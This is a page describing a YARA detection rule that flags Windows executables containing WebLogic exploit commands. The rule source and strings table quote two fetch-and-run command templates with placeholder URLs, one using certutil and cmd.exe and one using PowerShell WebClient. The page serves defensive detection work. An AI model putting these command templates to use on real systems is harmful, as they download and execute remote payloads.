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DITEKSHEN_INDICATOR_TOOL_EXP_Weblogic

Detects Windows executables containing Weblogic exploits commands

Suspicious / huntingditekSHen detectionBSD 2-Clause LicenseCompiles with YARA-X
Author
ditekSHen
Date
2020-11-06
Modified
2024-09-25
Score / Quality
75 / 75

What this rule detects

Detects Windows executables containing Weblogic exploits commands

Targets: Windows PE.

It defines 2 patterns (2 text, 0 hex, 0 regex).

Summary generated from the rule's metadata and condition.

Rule source

Download .yar
indicator-tool-exp-weblogic.yarBSD 2-Clause License
rule DITEKSHEN_INDICATOR_TOOL_EXP_Weblogic : FILE
{
	meta:
		description = "Detects Windows executables containing Weblogic exploits commands"
		author = "ditekSHen"
		id = "e761a968-35cb-5284-99f2-6d516ad348e3"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L344-L353"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "01855f1125b0ba87dd40f7d460440dbda2d75c8b484e842a2b2e20c089b4ab5e"
		score = 75
		quality = 75
		tags = "FILE"

	strings:
		$s1 = "certutil.exe -urlcache -split -f AAAAA BBBBB & cmd.exe /c BBBBB" ascii
		$s2 = "powershell (new-object System.Net.WebClient).DownloadFile('AAAAA','BBBBB')" ascii

	condition:
		uint16( 0 ) == 0x5a4d and 1 of them
}

Strings (2 patterns)

IdentifierTypeValueModifiers
$s1text"certutil.exe -urlcache -split -f AAAAA BBBBB & cmd.exe /c BBBBB"ascii
$s2text"powershell (new-object System.Net.WebClient).DownloadFile('AAAAA','BBBBB')"ascii

Condition

uint16( 0 ) == 0x5a4d and 1 of them

In plain words (Heuristic)

  • The file must start with “MZ” — a Windows executable (PE).
  • At least 1 patterns in the rule must match.

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References

Licence & attribution

Author: ditekSHen

Source repository: ditekSHen detection @ e76c93dcde

Licence: BSD 2-Clause License (repository licence)

Copyright notice: Copyright 2021 by ditekSHen (https://github.com/ditekshen/detection).

Original rule

Mirrored via YARA Forge 20260927, which prefixes rule names with the source and adds normalised meta fields.

Rule id: e761a968-35cb-5284-99f2-6d516ad348e3

Tags:FILE

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